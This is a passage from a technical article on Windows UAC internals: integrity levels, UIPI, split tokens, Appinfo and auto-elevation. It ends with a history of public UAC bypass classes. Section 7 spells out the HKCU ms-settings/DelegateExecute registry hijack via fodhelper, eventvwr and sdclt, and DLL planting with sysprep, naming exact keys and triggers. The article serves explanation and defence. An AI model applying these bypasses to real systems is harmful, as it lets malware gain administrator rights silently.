if (subjectIL < objectIL) { if ((policy & NO_WRITE_UP) && (desiredAccess & WRITE_BITS)) return 'ACCESS_DENIED'; if ((policy & NO_READ_UP) && (desiredAccess & READ_BITS)) return 'ACCESS_DENIED'; if ((policy & NO_EXECUTE_UP) && (desiredAccess & EXECUTE_BITS)) return 'ACCESS_DENIED'; }

// Step 2: only if MIC allowed do we consult the DACL. for (const ace of object.dacl.aces) { if (ace.sid in subjectToken.sids) { if (ace.type === 'DENY' && (ace.mask & desiredAccess)) return 'ACCESS_DENIED'; if (ace.type === 'ALLOW') desiredAccess &= ~ace.mask; if (desiredAccess === 0) return 'ACCESS_GRANTED'; } } return 'ACCESS_DENIED'; // implicit deny if no ACE grants } `}

The naive reading of MIC is "they added another ACE for integrity." The correct reading is that they added a separate axis with its own evaluator that the DACL cannot override. The reader who internalises that ordering can re-derive almost every subsequent design decision Vista made about UAC, AppContainer, IE Protected Mode, and Administrator Protection. A MIC denial is final. The DACL is not consulted. That is what mandatory means.

Key idea: MIC adds a second axis to the access check. The first axis is identity (DACL plus token SIDs); the second is integrity (IL). The two axes are evaluated in order: integrity first, identity second. A failure on the integrity axis short-circuits the entire check, regardless of what the identity axis would have said.

MIC bounds file, registry, and most other securable-object writes across IL boundaries. But the XP-era shatter attacks Paget published in 2002 were not about file writes. They were about same-desktop cross-process message injection in the Win32 windowing layer, and MIC cannot help with that, because window messages do not pass through SeAccessCheck. So Vista shipped a second primitive specifically for the windowing layer.

4.2 User Interface Privilege Isolation

The windowing-layer analog of MIC. UIPI blocks a defined subset of window messages and hook APIs sent from a lower-IL process to a window owned by a higher-IL process on the same desktop, terminating the cross-IL variant of the shatter-attack class.

If MIC is mandatory integrity for objects, UIPI is mandatory integrity for windows. Same idea, different layer of the OS. Same principle: a separate evaluator that runs in the window manager and blocks cross-IL operations regardless of the window's own configuration [@uipi-wiki].

The canonical failed-shatter scenario is short and exact. A Medium-IL malware process calls SendMessage(hwnd, WM_SETTEXT, 0, (LPARAM)"some-attacker-controlled-string") against a window handle (hwnd) belonging to a High-IL elevated PowerShell on the same desktop. On Windows XP, which predates UIPI and had no integrity-based elevation, the analogous message would arrive at a higher-privileged process's window and update its edit control, with no authentication check anywhere in the path. On Vista and every subsequent Windows release, the call returns zero. GetLastError returns ERROR_ACCESS_DENIED. The message is silently dropped by win32k.sys before the receiving process's window procedure ever sees it. The window manager noticed that the sender's IL was lower than the receiver's IL and dropped the message [@uipi-wiki][@russinovich-blog-2007].

The "silently dropped" part matters operationally. Legacy applications written before Vista did not check the return value of SendMessage. When Vista shipped UIPI, those applications kept "working" in the sense that they did not crash. They just stopped being effective at any cross-IL interaction they may have previously relied on. This is the same compatibility shape Microsoft used everywhere in Vista: the new bound was real, but the API surface returned plausible failure codes rather than raising new errors that broke legacy callers.

What UIPI blocks, precisely

UIPI does not block every window message. It blocks a specific dangerous subset, and a complete reading of the article requires reading the list slowly.

Operation	UIPI behaviour from lower IL to higher IL
`SendMessage` / `PostMessage` for `WM_SETTEXT`, edit-control mutators, combo-box mutators	Blocked; returns 0 / `ERROR_ACCESS_DENIED`
Posted messages above `WM_USER` (0x0400)	Blocked
`WM_TIMER` with a callback function pointer	Blocked (the original Paget vector)
`SetWindowsHookEx` against a higher-IL thread or process	Blocked
`AttachThreadInput` to a higher-IL thread	Blocked
`SendInput` targeting a higher-IL window	Blocked
Journal record / journal playback hooks	Blocked
Mouse and most keyboard input from the OS itself	Allowed (the user is the principal)
Most paint messages (`WM_PAINT`, `WM_ERASEBKGND`)	Allowed
Read-only window queries (`GetWindowText`, `EnumWindows`)	Allowed (return empty / minimal data rather than failing)

"UIPI blocks all WM_* messages" is one of the most common misconceptions in Windows-security literature. It does not. It blocks the dangerous subset: the messages and hooks that allow a sender to alter the receiving process's state or execute code in it [@russinovich-blog-2007][@uipi-wiki].

sequenceDiagram participant M as Medium-IL malware participant W as win32k.sys participant P as High-IL PowerShell M->>W: SendMessage(hwnd, WM_SETTEXT, ...) W->>W: Compare sender IL (Medium) to target window IL (High) Note over W: Sender IL lower than target IL, WM_SETTEXT in dangerous subset W-->>M: Returns 0, ERROR_ACCESS_DENIED Note over P: Window procedure never invoked, text unchanged

The Microsoft Learn page that opens "Modifies the User Interface Privilege Isolation (UIPI) message filter for a specified window" is the ChangeWindowMessageFilterEx function reference [@changewindowfilter]. It is the closest thing to a first-party UIPI conceptual page on Microsoft Learn. There is no standalone Microsoft Learn page titled "User Interface Privilege Isolation" at the winmsg path: the Wikipedia UIPI article is the standard secondary anchor for the concept itself [@uipi-wiki], and Russinovich's February 2007 TechNet Blogs post introduces UIPI by name in the original architectural canon [@russinovich-blog-2007].

The opt-in exemption: `ChangeWindowMessageFilterEx`

The UIPI block is per-window and per-message. When a higher-IL window has a legitimate reason to accept a specific message from lower-IL senders (for example, a developer tool that needs to receive WM_COPYDATA from a Medium-IL client), the higher-IL process can call ChangeWindowMessageFilterEx to add the specific message to its window's allow-list [@changewindowfilter].

The action constants are documented as MSGFLT_ALLOW (add the message to the allow-list), MSGFLT_RESET (remove explicit policy and inherit defaults), and MSGFLT_DISALLOW (explicitly block the message even if defaults would allow it) [@changewindowfilter]. The function returns BOOL; failure is non-fatal and the caller is expected to validate the result.

A High-IL window that opts WM_SETTEXT into the cross-IL allowed list inherits the responsibility to validate the contents of every message it then receives. The filter is the gate. It is not the validator. A higher-IL process that takes attacker-controlled text and pastes it into a system shell has bypassed UIPI in the same way a service that takes attacker-controlled input and passes it to system() has bypassed least privilege. The mechanism cannot make the higher-IL process safe; it can only make the higher-IL process aware.

The `uiAccess=true` carve-out

The single largest residual exemption from UIPI is the uiAccess=true manifest flag, designed to support accessibility software (screen readers, on-screen keyboards, remote-control tools) that needs to interact with windows above its own IL [@uia-security]. A process that asserts uiAccess=true in its application manifest gets, at process creation, a token flag (TokenUIAccess) that exempts the process from UIPI's cross-IL blocks for the outbound direction. A Medium-IL UI-Access process can post WM_SETTEXT to a High-IL elevated PowerShell window, because the Medium-IL process is acting on behalf of an accessibility client.

The gating conditions for uiAccess=true are tight, by design. Microsoft Learn enumerates three [@uia-security]. The manifest must assert uiAccess="true" in the requestedExecutionLevel element. The binary must carry a valid Authenticode signature. The binary must reside in a directory writable only by administrators, which in practice means %SystemRoot%\System32, %ProgramFiles%, or a similarly admin-only path. The three conditions together are intended to bound uiAccess to vetted, signed, install-time-protected binaries.

We will return to the uiAccess carve-out in §9, because Forshaw's February 2026 Project Zero retrospective documents that five of nine pre-GA Administrator Protection bypasses operated entirely through this surface [@forshaw-adminprot-feb26]. The Vista-era exemption inherited unchanged into 2026 is, nearly twenty years later, the single largest residual cross-IL attack class in the Windows integrity stack.

What UIPI killed, precisely

UIPI killed the cross-IL variant of the Paget-2002 shatter-attack class (later extended by Brett Moore's 2004 work). Same-IL shatter attacks (two Medium-IL processes on the user's Default desktop, both belonging to the same user, both running with the user's authority) are not blocked by UIPI, because UIPI is an IL-based filter. Two same-IL processes can still send each other arbitrary window messages, and this is exactly why every modern browser sandbox layers AppContainer and a restricted-token sandbox on top of MIC [@appcontainer-isolation]: the integrity primitives are correct, but they are integrity primitives, not identity primitives, and same-IL same-desktop processes need a different isolation mechanism.

Together, MIC and UIPI provide an integrity bound on access (objects) and on user-interface manipulation (windows). Both are mandatory, default-on, and constant-overhead. They are the load-bearing primitive pair of the entire integrity-level stack. But how does the OS decide which processes get which IL? When you log in as Administrator and open a PowerShell, why is that PowerShell Medium and not High?

5. The Split-Token Breakthrough

The integrity-level pair (MIC plus UIPI) is the access-control primitive. The split-token model is the policy decision that wires those primitives into the administrator's everyday experience. Without the split-token policy, an administrator's interactive shell would hold a High-IL token at logon and UAC would never need to exist. With it, every administrator on Windows 11 today has two tokens. One is in use. The other is dormant. The yellow dialog is the negotiation that toggles between them.

The Vista policy in which an Administrators-group user logging on receives a Medium-IL filtered token plus a dormant High-IL linked token. The filtered token becomes the primary token of the interactive shell; the linked token is used only after consent or auto-elevation, and only when the Application Information service brokers a process creation with it.

What the LSA does at logon

When EnableLUA=1 in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System (the default since Vista), and an Administrators-group user logs on, the Local Security Authority subsystem (LSASS) constructs three things during logon processing [@uac-how-it-works].

The first is the full token: an access token that contains all of the user's administrator group SIDs (enabled, not deny-only), all of the privileges the user is authorised to hold, and an integrity level of High. This is the token that, on XP, would have been the user's primary token from logon onward.

The second is the filtered token: a copy of the full token with all administrator-equivalent group SIDs marked SE_GROUP_USE_FOR_DENY_ONLY, all privileges except a small user-mode subset removed, and the integrity level reduced to Medium. The administrator group SIDs are not removed; they are marked deny-only so they still match deny ACEs but do not satisfy allow ACEs. The privileges are not zeroed; the powerful ones (SeDebug, SeTakeOwnership, SeLoadDriver, SeAssignPrimaryToken, and others) are dropped from the filtered token entirely.

The third is the linked relationship: the LSA stamps each token with a reference to the other via the TokenLinkedToken information class, so that a holder of the filtered token can, with the right privileges, retrieve a handle to the dormant full token by calling NtQueryInformationToken(filteredToken, TokenLinkedToken, &linkedToken, ...) [@uac-how-it-works].

The filtered token then becomes the primary access token of the user's interactive shell (explorer.exe). Every process the user launches by clicking, by Win+R, by typing in a console, inherits the filtered token as its primary token. The dormant full token sits in the LSA, addressable through TokenLinkedToken. The verbatim Microsoft Learn statement is exact: "When an administrator logs on, two separate access tokens are created for the user: a standard user access token and an administrator access token" [@uac-how-it-works].

flowchart TD A["User authenticates
as a member of Administrators"] --> B["LSA logon processing
(LsaLogonUser)"] B --> C["Full token
(admin SIDs enabled, all privileges, IL = High)"] B --> D["Filtered token
(admin SIDs deny-only, privileges stripped, IL = Medium)"] C -.->|"linked via TokenLinkedToken"| D D --> E["Primary token of explorer.exe
and all interactive child processes"] C --> F["Dormant in LSA, used only by Appinfo after consent or auto-elevation"]

The TokenElevationType API surface

Three values of the TOKEN_ELEVATION_TYPE enumeration describe what state the current process is in [@token-elevation-type].

TokenElevationTypeDefault (1) -- no split-token policy is in effect for this token. This is the legacy case (EnableLUA=0) or the case where the user is not a member of any administrators-equivalent group at all. The single token is the only token, and no linked token exists. On a default consumer or enterprise Windows 11 install with an admin account, this value is rare.
TokenElevationTypeFull (2) -- the current process is running with the unfiltered admin token. Admin Approval Mode is in force; this process either was launched via elevation (and holds the linked full token) or was created in a context where the filtered/full distinction is collapsed (some service contexts).
TokenElevationTypeLimited (3) -- the current process is running with the filtered token, Admin Approval Mode is in force, and a dormant full token exists. This is the typical state of an interactive admin shell on Windows 11.

TokenElevationTypeDefault (value 1) is the legacy or domain-controller case in which EnableLUA=0 and the user has no filtered token at all. On a default consumer Windows install, administrators are always TokenElevationTypeLimited or TokenElevationTypeFull, never Default. The Default case is what reverting EnableLUA to 0 produces, and it is the configuration the FAQ in §11 warns against.

What the consent prompt actually does

The behaviour of the consent prompt now resolves to a single operation, and the operation is not "elevate." When the user invokes "Run as administrator" on a binary, the shell calls ShellExecuteEx with the "runas" verb [@shellexecuteexa]. The Application Information service (the topic of §6.2) receives the request via RPC. Appinfo, running as LocalSystem, retrieves the linked full token of the calling user via TokenLinkedToken. Appinfo shows the consent prompt on the Secure Desktop (§6.1). If the user clicks "Yes," Appinfo creates a new process using the full token as the new process's primary token, by calling CreateProcessAsUser with the privileges Appinfo holds because it is LocalSystem [@russinovich-tnm-2007].

The bits that move are the kernel-level handle for the new process and the assignment of the linked token as that process's primary token. The bits the prompt itself moves are zero. The prompt is the consent surface; the token swap is the primitive.

Key idea: The consent prompt does not create authority. It uses authority that was already constructed at logon and held dormant in the linked token. The same primitive can move bits without the prompt -- that is exactly what auto-elevation does.

sequenceDiagram participant U as User participant E as explorer.exe (Medium IL) participant A as Appinfo (LocalSystem) participant C as consent.exe (Secure Desktop) participant P as New process (High IL) U->>E: Right-click, Run as administrator E->>A: RPC: request elevation of target.exe A->>A: Look up TokenLinkedToken of caller's filtered token A->>C: Show consent prompt U->>C: Click Yes C-->>A: Consent granted A->>P: CreateProcessAsUser(linked full token, target.exe) Note over P: New process runs at High IL, full admin SIDs enabled, full privileges Split-token administrator in UAC just means MS get to annoy you with prompts unnecessarily but serves very little, if not zero security benefit. -- James Forshaw, *Reading Your Way Around UAC (Part 1)*, Tyranid's Lair, May 2017

Forshaw's 2017 critique is the load-bearing observation that frames the rest of the article [@forshaw-reading-uac]. Even with the elegant split-token policy in place, there is a structural problem the design did not solve. The filtered token and the linked token share the same user SID. They write to the same %USERPROFILE%. They consult the same HKCU registry hive. They live in the same logon-session LUID. From an integrity-isolation point of view, the two tokens are bounded against each other; from an identity-isolation point of view, they are the same user.

That shared-identity property is what made the bypass-research industry possible, and what Administrator Protection finally attacks in 2024 (§9). We will return to it. First, let us tour the rest of the stack the consent prompt sits on. If Appinfo is the SYSTEM-trusted broker that does the token swap, where does it live? And what stops malware from spoofing the consent prompt itself?

6. The Full UAC Stack on a Modern Windows Box

The reader now knows the four load-bearing primitives. This section walks every supporting piece that surrounds them on a 2026 Windows install, in the order needed to follow an elevation event end-to-end. There are four pieces: the Secure Desktop the prompt renders on, the Appinfo service that brokers the token swap, the two distinct activation surfaces that trigger an elevation, and the auto-elevation allowlist that shaped fifteen years of bypass research.

6.1 The Secure Desktop, not Session 0

A separate desktop object at the Object-Manager path `\Sessions\\Windows\WindowStations\WinSta0\Winlogon`, within the user's interactive session, on which `consent.exe` runs the UAC prompt. Isolated from the user's `Default` desktop by Object-Manager DACL and the `SwitchDesktop` API.

When you click "Run as administrator" and the screen dims and the prompt appears, the screen dims because you have just been switched to a different desktop. Not a different session, not Session 0, not a different window station. A different desktop within the same window station, accessed through the SwitchDesktop API [@russinovich-tnm-2007].

The Object-Manager path is exact. Inside the user's interactive session (Session 1 if the user is the first interactive logon, higher numbers for subsequent users), there is a window station named WinSta0. Inside WinSta0 there are several desktop objects: Default (where the user's normal interactive processes paint), Winlogon (where consent.exe runs the prompt), and Disconnect and Screen-saver for related uses. The full path of the Secure Desktop is \Sessions\<n>\Windows\WindowStations\WinSta0\Winlogon.

The Winlogon desktop is protected by an Object-Manager DACL that the user's normal interactive processes (running on Default) cannot open for DESKTOP_CREATEWINDOW or DESKTOP_HOOKCONTROL. A Medium-IL malware process on Default cannot draw into the Winlogon desktop, cannot enumerate its windows, and cannot send messages to them. The OS performs the desktop switch in win32k.sys and renders consent.exe's window on the new desktop with a snapshot of the previous desktop as a dimmed background, so the user has visual continuity but consent.exe is the only process accepting input [@russinovich-tnm-2007].

Note: The Secure Desktop is not in Session 0. Session 0 Isolation is a different Vista feature that moved all Windows services off the interactive desktop into a non-interactive session (Session 0), separately from the per-user interactive sessions (Sessions 1, 2, ...). The Secure Desktop is within the user's interactive session: a different desktop object inside the same window station, not a different session. The two features ship together in Vista and are constantly confused, because they are both 2006-era hardening primitives. They are architecturally independent: Session 0 Isolation prevents services from drawing on the user's desktop, and the Secure Desktop prevents the user's processes from drawing on the prompt's desktop. Conflating them mis-describes how either one works. The corpus's Object Manager Namespace article (#46) covers Session 0 Isolation directly; this article treats only the Secure Desktop.

A separate Vista feature, architecturally independent of the Secure Desktop, that moved all Windows services off the interactive desktop and into Session 0. The two features ship together in Vista and are constantly confused, but they live at different layers of the Object Manager hierarchy. flowchart TD A["Session 1
(interactive logon for user 'admin')"] --> B["WinSta0
interactive window station"] A --> C["Service-0x0-3e7$
non-interactive WinSta (services)"] B --> D["Default desktop
explorer.exe, browsers, console windows
(Medium IL processes)"] B --> E["Winlogon desktop
consent.exe renders here
(Secure Desktop)"] B --> F["Disconnect / Screen-saver
desktops"] D -. "blocked by Object-Manager DACL
and SwitchDesktop" .-> E

The Secure Desktop addresses UI spoofing and input injection against the prompt itself. It does not address whether elevation can happen without a Secure Desktop prompt; that is the territory of the auto-elevation allowlist (§6.4) and of the bypass-research class (§7).

6.2 The Application Information service (Appinfo)

The SYSTEM-trusted Windows service (`appinfo.dll`, hosted in `svchost.exe`, runs under `LocalSystem`) that mediates the token swap between filtered and linked tokens at elevation time. Required service: "Run as administrator" fails without it. The modern process-creation entry point is `RAiLaunchAdminProcess`.

Every UAC elevation on Windows goes through one service: Appinfo (display name "Application Information"). Its image is C:\Windows\System32\appinfo.dll, loaded into a shared svchost.exe host process, running as LocalSystem [@russinovich-tnm-2007].

The job is single-purpose: be the SYSTEM-trusted broker that performs the token swap. A Medium-IL caller cannot, by definition, create a process holding a token the caller does not possess. Creating a process under a token with privileges the caller lacks requires two privileges Medium-IL filtered admin tokens do not hold: SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege. LocalSystem has both [@russinovich-tnm-2007]. The broker therefore has to run as LocalSystem, and that is what Appinfo is for.

The modern entry point on Appinfo's RPC interface is RAiLaunchAdminProcess, documented verbatim in Forshaw's February 2026 Project Zero post on Administrator Protection [@forshaw-adminprot-feb26]. The Medium-IL caller invokes ShellExecuteEx with "runas"; the shell marshalls the request across to Appinfo; Appinfo retrieves the caller's TokenLinkedToken; if a prompt is needed, Appinfo shows consent.exe on the Secure Desktop; if the user clicks "Yes," Appinfo calls RAiLaunchAdminProcess to create the new process under the linked full token.

Disable Appinfo and "Run as administrator" returns an error. It is the single point of trust in the elevation pipeline, which is exactly why the bypass-research industry pays attention to it: anything that can trick Appinfo into auto-elevating an attacker-influenced binary, without the consent prompt, becomes a fileless UAC bypass (§7.1).

6.3 Two activation surfaces

Note: When you say "elevate a thing," the operating system understands two distinct primitives, not one. ShellExecuteEx "runas" is whole-process elevation: the OS launches a new process and runs the entire process at High IL. The COM Elevation Moniker is per-object elevation: the OS spins up an isolated dllhost.exe that exposes exactly one COM CLSID's methods at High IL while the caller stays at Medium. The bypass-research literature attacks these two surfaces in very different ways. Conflating them mis-describes both the attack surface and the fix surface.

The first activation surface is ShellExecuteEx with the "runas" verb. The OS launches consent.exe, asks the user, and if approved, Appinfo creates a brand-new process under the caller's linked full token. The new process is High-IL for its entire lifetime, with the entire administrator privilege set and all the admin group SIDs enabled. The Windows Explorer "Run as administrator" context menu uses this verb. So does the runas /trustlevel: command. So does any program that calls ShellExecuteEx and sets the lpVerb member of SHELLEXECUTEINFO to the string "runas" [@shellexecuteexa].

A COM activation surface (`Elevation:Administrator!new:{CLSID}`) that asks the OS to instantiate a single COM out-of-process server in a new elevated `dllhost.exe`, exposing only that one CLSID's methods at High IL. Per-object elevation, distinct from `ShellExecuteEx "runas"` whole-process elevation.

The second activation surface is the COM Elevation Moniker. A Medium-IL caller invokes CoGetObject (or CoCreateInstance via a moniker) with the display name "Elevation:Administrator!new:{CLSID}" (or "Elevation:Highest!new:{CLSID}"). This asks the OS to instantiate a single COM out-of-process server in a new elevated dllhost.exe host process, exposing only that one CLSID's methods at High IL. The caller stays at Medium. Only the COM object's host process is elevated, and only for the lifetime of the object [@com-elevation-moniker].

The semantics are deliberately narrow. The COM Elevation Moniker requires the target CLSID to opt in via two registry values under HKCR\CLSID\{CLSID}: Elevation\Enabled = 1 and an LocalizedString value that names the elevation prompt's display string. Not every COM class is moniker-eligible; the registry enables elevation per CLSID.

Property	`ShellExecuteEx "runas"`	COM Elevation Moniker
Granularity	Whole process	One COM object
Lifetime	Entire process lifetime	Object lifetime only
Caller IL after	Caller stays Medium; new process High	Caller stays Medium
New process	Target executable	`dllhost.exe` host
Authority surface	All admin SIDs and privileges, broad	Methods of one CLSID, narrow
Typical use	"Run as administrator" context menu, MSI installers	Programmatic file copy, Wmi management, registry edits
Primary canonical bypass class	DLL-search-order against the new process	Auto-elevated COM behaviour abuse

The distinction matters because most of the canonical UAC bypasses do not touch ShellExecuteEx "runas" at all. Leo Davidson's December 2009 essay attacked the COM Elevation Moniker by invoking the IFileOperation COM class (auto-elevation-eligible, registered under the right CLSID) from a Medium-IL caller, and using its CopyItem method to overwrite a system file at High IL [@davidson-2009][@ifileoperation]. The ICMLuaUtil and IColorDataProxy interfaces follow the same shape: a Medium-IL caller instantiates an auto-elevatable COM class via the moniker, and then calls a method on the High-IL object that performs an attacker-chosen action [@uacme].

Both surfaces share the same backend: Appinfo brokers the token swap, and RAiLaunchAdminProcess (or its COM equivalent) creates the new process. The difference is whether the elevated child is a whole new process (broad authority for a long time) or a COM object's host (narrow authority for a single activation). The bypass-research literature exploits the second class far more than the first, because the second class exposes a narrower, more abusable behavioural surface: the CLSID's methods.

6.4 The auto-elevation allowlist

Vista's prompt fatigue was a usability disaster. Beta reviewers described users clicking through three or four prompts per common task. Windows 7, shipped in October 2009, tried to cut the noise by quietly elevating a curated set of Microsoft-signed binaries with no prompt at all. That single decision shaped the next fifteen years of UAC bypass research, because every "bypass" you have ever read about lives inside the gap between which binary gets elevated and what the binary does after elevation.

The set of Microsoft-signed binaries in trusted system directories on Appinfo's internal allowlist that elevate without a consent prompt. Four gating conditions: `autoElevate=true` manifest element, Microsoft Authenticode signature, trusted directory path, and an internal Appinfo allowlist entry enforced inside `appinfo.dll`.

The manifest element is a single string. Inside the application's side-by-side manifest, under the <trustInfo> / <security> / <requestedPrivileges> element, the binary asserts <autoElevate>true</autoElevate> [@app-manifests]. That assertion was discovered and publicly documented by independent UK developer Leo Davidson in December 2009 [@davidson-2009].

The autoElevate=true manifest assertion is necessary but not sufficient. Appinfo enforces three additional gating conditions before honouring an auto-elevation request [@davidson-2009].

The binary must carry a valid Authenticode signature chained to a Microsoft root certificate.
The binary's path must reside under a trusted system directory, in practice %SystemRoot%\System32 or %SystemRoot%\SysWOW64 (or the localized variants for non-English locales).
The binary's name must appear on an internal allowlist enforced in code in appinfo.dll, not in any user-visible policy file.

The fourth gate (the internal allowlist) is the one that surprises practitioners. A binary can be Microsoft-signed, located in System32, and carry autoElevate=true in its manifest, and Appinfo can still refuse to auto-elevate it, because the binary's name is not on the hard-coded allowlist inside appinfo.dll. There is no public Microsoft-published file enumerating the allowlist; the only way to enumerate it operationally is to scan the manifests of every binary in System32 and cross-check which ones actually auto-elevate.

The community-standard way to enumerate the manifest-asserting subset of the allowlist is to run Sysinternals `sigcheck -m C:\Windows\System32\*.exe` and pipe the output to `findstr /i autoelevate`. That gives you every binary in `System32` whose embedded manifest asserts `autoElevate=true`. On a Windows 11 25H2 install, the list runs to thirty to forty binaries: `mmc.exe`, `eventvwr.exe`, `fodhelper.exe`, `ComputerDefaults.exe`, `sdclt.exe`, `slui.exe`, and others.

The list of names in the manifest is not the same as the set Appinfo actually auto-elevates. UACMe's research README enumerates the operational subset: which manifest-asserting binaries Appinfo actually honours, by Windows build, with the technique class and the catalogued bypass method [@uacme]. The canonical observation is that of the manifest-asserting list, only the operationally-allowlisted subset is exploitable, and the operational subset changes silently across feature updates without any security bulletin because none of the resulting bypasses are classified as security vulnerabilities.

{` // Pseudocode of Appinfo's auto-elevation decision (Win7+). // All four gates must pass for auto-elevation without a consent prompt.

function shouldAutoElevate(binaryPath) { // Gate 1: the application manifest must assert autoElevate=true. const manifest = readEmbeddedManifest(binaryPath); if (manifest?.requestedPrivileges?.autoElevate !== true) return false;

// Gate 2: the binary must carry a valid Microsoft Authenticode signature. const sig = verifyAuthenticodeSignature(binaryPath); if (sig.status !== 'valid' || sig.rootCA !== 'Microsoft') return false;

// Gate 3: the binary must reside under a trusted system directory. const trustedDirs = ['C:\\Windows\\System32\\', 'C:\\Windows\\SysWOW64\\']; if (!trustedDirs.some(d => binaryPath.toLowerCase().startsWith(d.toLowerCase()))) return false;

// Gate 4: the binary name must appear on Appinfo's internal allowlist. // This is the one enforced in code in appinfo.dll, not exposed as policy. if (!APPINFO_INTERNAL_ALLOWLIST.includes(baseName(binaryPath).toLowerCase())) return false;

return true; } `}

Four gating conditions. Three of them constrain which binary gets elevated. None of them constrain what the binary does after elevation. The fourth gap, the behavioural one, is the space the bypass-research industry has occupied for fifteen years. That is §7.

7. Twenty Years of Bypass Research as Empirical Test

In February 2007, eleven days after Vista's consumer launch, Mark Russinovich published a TechNet Blogs post titled PsExec, User Account Control and Security Boundaries. The post walked through a quirk of how PsExec's -l switch interacted with restricted tokens on Windows XP, used the walkthrough to introduce Vista's integrity-level model, and then dropped a single sentence the entire later debate would rest on [@russinovich-blog-2007].

Neither UAC elevations nor Protected Mode IE define new Windows security boundaries... potential avenues of attack, regardless of ease or scope, are not security bugs. -- Mark Russinovich, *PsExec, User Account Control and Security Boundaries*, TechNet Blogs, February 12, 2007

That sentence, in the public record from week one, is the architectural reason every "UAC bypass" published from 2009 onward was classified by Microsoft as a non-vulnerability. The bypass-research literature is the empirical proof of the disclaimer, not a counterargument to it. Three durable bypass classes carry the empirical weight.

7.1 The `ms-settings` / `DelegateExecute` registry-hijack class

The first durable class is the registry-hijack bypass of auto-elevated binaries. Mechanism: an auto-elevated binary (eventvwr.exe, fodhelper.exe, ComputerDefaults.exe, certain sdclt.exe variants) executes a handler for a custom file extension or URL protocol on launch. The relevant handler mapping is in HKCR, but Windows resolves HKCR by first consulting HKCU\Software\Classes and only falling back to HKLM\Software\Classes if no per-user mapping exists. A Medium-IL user can write to HKCU without elevation. So the user writes a HKCU\Software\Classes\<scheme>\shell\open\command key whose default value is an arbitrary command line and whose DelegateExecute value is the empty string. Then the user launches the auto-elevated binary. The binary loads, Appinfo elevates it to High IL, the binary resolves its registered handler, walks HKCU\Software\Classes first, finds the attacker-controlled command line, and executes it. The attacker's command runs at High IL [@enigma-eventvwr][@mitre-t1548002].

The first public canonical demonstration was Matt Nelson's August 15, 2016 post Fileless UAC Bypass Using eventvwr.exe and Registry Hijacking, published on his blog under the handle enigma0x3. Nelson hijacked the mscfile association by writing HKCU\Software\Classes\mscfile\shell\open\command with cmd.exe as the default value, then launched eventvwr.exe. The Event Viewer auto-elevates because of its manifest, resolves the mscfile association to load eventvwr.msc, walks the HKCU mapping first, finds cmd.exe instead of mmc.exe, and launches an attacker-controlled cmd.exe at High IL [@enigma-eventvwr]. The technique required no file on disk except the registry value itself; this is what fileless means in this context.

Nelson productised the class through 2017. The March 14, 2017 Bypassing UAC Using App Paths post generalised to HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe, exploited by sdclt.exe [@enigma-apppaths]. The March 17, 2017 'Fileless' UAC Bypass Using sdclt.exe post showed a fileless variant of the same attack using the IsolatedCommand REG_SZ value on HKCU:\Software\Classes\Folder\shell\open\command, with sdclt.exe /KickOffElev as the trigger [@enigma-sdclt]. The same post referenced WikiLeaks's March 2017 Vault7 disclosures, in which the CIA's "Vault7" cache contained operationalised versions of the technique, confirming nation-state adoption of the bypass class [@enigma-sdclt].

The fodhelper variant was published on May 12, 2017 by winscripting.blog, in the post First entry: Welcome and fileless UAC bypass (winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/); it abuses HKCU\Software\Classes\ms-settings\shell\open\command. It is a separate researcher's contribution, not part of Nelson's series, and is anchored by UACMe Method 33 (credited to winscripting.blog) and MITRE ATT&CK T1548.002 [@uacme][@mitre-t1548002].

sequenceDiagram participant U as User (Medium IL) participant R as HKCU registry participant F as fodhelper.exe (auto-elevated) participant A as Appinfo (LocalSystem) participant C as Attacker payload (High IL) U->>R: Write HKCU Software Classes ms-settings shell open command with attacker cmd U->>F: ShellExecute("fodhelper.exe") F->>A: Request elevation (autoElevate gate passes) A->>F: New process at High IL, no consent prompt F->>R: Resolve ms-settings handler via HKCU first R-->>F: Returns attacker command F->>C: Spawn attacker payload at High IL

Microsoft's response to the eventvwr bypass was to ship a fix in the Windows 10 Creators Update (1703) that made eventvwr.exe not consult the registered association the technique exploited. The fix was technique-specific, not class-specific: the ms-settings (fodhelper), App Paths (sdclt), and IsolatedCommand (sdclt) variants remained exploitable through subsequent Windows 10 builds and into Windows 11 [@uacme][@mitre-t1548002]. None of these were patched as security vulnerabilities, because, per Russinovich 2007, UAC is not a security boundary [@russinovich-blog-2007].

7.2 The DLL-search-order class

The second durable class is the DLL-search-order attack against auto-elevated binaries. Mechanism: an auto-elevated binary calls LoadLibrary on a DLL name resolved via the standard Windows search order: the application directory, the system directory, the current directory, the PATH environment variable, and so on. If any path on that search order earlier than the legitimate one is writable by the Medium-IL caller, the caller can plant an attacker DLL at that path. When the auto-elevated binary loads the legitimate name, the search order returns the attacker's DLL first, and the DLL is loaded at the binary's elevated IL [@davidson-2009].

The foundational canonical example is the December 2009 Leo Davidson essay Windows 7 UAC whitelist: Code injection issue (and more). Davidson demonstrated that sysprep.exe (Microsoft-signed, in System32, auto-elevation-allowlisted) loads cryptbase.dll from its working directory before the system directory. By copying sysprep.exe and a malicious cryptbase.dll into a writable directory and launching sysprep.exe from there, an attacker could load the malicious DLL into a High-IL process [@davidson-2009]. The same essay introduced the IFileOperation COM-object technique that founded the second durable class (§7.3), making the December 2009 Davidson essay the single most-cited primary in the entire UAC bypass literature.

Coverage in the trade press confirmed the class's significance immediately. In February 2009, The Register reported on a related Long Zheng / Rafael Rivera disclosure that demonstrated piggybacking on auto-elevation via rundll32.exe [@register-2009], establishing that the auto-elevation surface had been understood as exploitable from the moment Windows 7 shipped.

Microsoft's mitigations against the DLL-search-order class have been incremental. SafeDllSearchMode was made the default in Windows XP SP2 and reshuffled the search order so the application directory came before the current directory. The LOAD_LIBRARY_SEARCH_* flags (introduced in Windows 8 and backported to Vista and 7 via update KB2533623) let applications opt into stricter search behaviour. Side-by-side manifest pinning and the KnownDLLs mechanism shrink the surface further. All of these are application-author opt-ins; an auto-elevated binary that does not use them remains exploitable, and UACMe's catalogue of 81 methods includes numerous DLL-search-order entries across Windows versions [@uacme].

7.3 The auto-elevated COM-object behaviour-abuse class

